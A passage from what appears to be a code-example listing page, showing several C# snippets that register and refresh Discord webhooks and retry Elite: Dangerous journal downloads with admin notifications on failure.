                            bool isDiscordWebhookValid = await ValidateDiscordWebhook(model.Url);

                            if (isDiscordWebhookValid)
                            {
                                // Update deregistered.
                                dbDiscordWebhook.DeletedAt = null;

                                // Save changes.
                                await _context.SaveChangesAsync();

                                if (_cache.TryGetValue(__tadwsKey, out int value))
                                {
                                    _cache.Remove(__tadwsKey);
                                }

                                await SendGoogleAnalyticsConversion
                                (
                                    "discord-webhook",
                                    "reregister",
                                    "na",
                                    model.Url.ToLowerInvariant().GetHashCode().ToString()
                                );

                                model.Message = successMessage;
                            }
                            else
                            {
                                model.Message = failedTestMessage;
                            }
                        }
                        else
                        {
                            // Else nothing, already registered.

                            model.Message = successMessage;
                        }
                    }
                    else
                    {
                        // Test discord webhook
                        bool isDiscordWebhookValid = await ValidateDiscordWebhook(model.Url);

                        if (isDiscordWebhookValid)
                        {
                            // Add new discord webhook
                            await _context.DiscordWebhooks.AddAsync
                            (
                                new DiscordWebhook()
                            {
                                CreatedAt        = DateTimeOffset.Now,
                                DeletedAt        = null,
                                Url              = model.Url.Left(250),
                                DiscordWebhookId = 0,
                                UpdatedAt        = DateTimeOffset.Now
                            }
                            );

                            await _context.SaveChangesAsync();

                            if (_cache.TryGetValue(__tadwsKey, out int value))
                            {
                                _cache.Remove(__tadwsKey);
                            }

                            await SendGoogleAnalyticsConversion
                            (
                                "discord-webhook",
                                "register",
                                "na",
                                model.Url.ToLowerInvariant().GetHashCode().ToString()
                            );

                            model.Message = successMessage;
                        }
                        else
                        {
                            model.Message = failedTestMessage;
                        }
                    }
                }
            }
            catch (Exception ex)
            {
                // TODO log
                model.Message = "<div class=\"alert alert-danger\">An error has occured. Please try again later.</div>";
                Trace.WriteLine(ex);
            }

            model.Stats = await GetStats();

            return(View(model));
        }
示例#26
0
        public async Task <DiscordWebhook> InvalidateAndRefreshWebhook(DiscordChannel channel, DiscordWebhook webhook)
        {
            _logger.Information("Refreshing webhook for channel {Channel}", webhook.ChannelId);

            _webhooks.TryRemove(webhook.ChannelId, out _);
            return(await GetWebhook(channel));
        }
示例#27
0
 private bool IsWebhookMine(DiscordWebhook arg) => arg.User.Id == _client.CurrentUser.Id && arg.Name == WebhookName;
        static async Task <(bool failedRequest, bool shouldBail)> TryGetJournalAsync(DiscordWebhook discord, DateTime journalDate, Shared.Models.User.Profile user, MSSQLDB db, HttpClient hc, MinioClient minioClient, PerformContext context)
        {
            try
            {
                var res = await GetJournalAsync(journalDate, user, db, hc, minioClient, discord);

                int loop_counter = 0;

                while (res.code != HttpStatusCode.OK)
                {
                    Thread.Sleep(5000);

                    var content = await res.message.Content.ReadAsStringAsync();

                    if (content.Contains("to purchase Elite: Dangerous"))
                    {
                        await db.ExecuteNonQueryAsync("UPDATE user_profile SET skip_download = 1 WHERE user_identifier = @user_identifier", new SqlParameter("user_identifier", user.UserIdentifier));
                        await SendAdminNotification(
                            discord,
                            "Failed to download journal, cannot access cAPI",
                            "User probably has a Epic Games account",
                            new Dictionary <string, string>
                        {
                            { "Response code", res.code.ToString() },
                            { "Content", content },
                            { "User identifier", user.UserIdentifier.ToString() },
                            { "Journal date", journalDate.ToString("yyyy-MM-dd") }
                        }
                            );

                        return(false, true);
                    }

                    if (loop_counter > 10)
                    {
                        await SendAdminNotification(
                            discord,
                            "Failed to download journal",
                            "Encountered an error too many times",
                            new Dictionary <string, string>
                        {
                            { "Response code", res.code.ToString() },
                            { "Content", content },
                            { "User identifier", user.UserIdentifier.ToString() },
                            { "Journal date", journalDate.ToString("yyyy-MM-dd") }
                        }
                            );

                        return(false, false);
                    }

                    switch (res.code)
                    {
                    case HttpStatusCode.PartialContent:
                        Thread.Sleep(5000);
                        res = await GetJournalAsync(journalDate, user, db, hc, minioClient, discord);

                        break;
                    }
                    loop_counter++;
                }
            }
            catch (TooManyOldJournalItemsException ex)
            {
                await SendAdminNotification(discord,
                                            "**[JOURNAL]** Exception: Too many old journal items",
                                            "The user somehow has duplicates of journals stored for a single date",
                                            new Dictionary <string, string> {
                    { "Exception", ex.ToString() },
                    { "User identifier", user.UserIdentifier.ToString() }
                }
                                            );

                return(false, true);
            }
            catch (Exception ex)
            {
                var errorMessage = ex.ToString() + "\n\n" + JsonSerializer.Serialize(user, new JsonSerializerOptions()
                {
                    WriteIndented = true
                });

                await SendAdminNotification(discord,
                                            "**[JOURNAL]** Unhandled exception while downloading journals",
                                            errorMessage
                                            );

                return(false, false);
            }

            return(true, false);
        }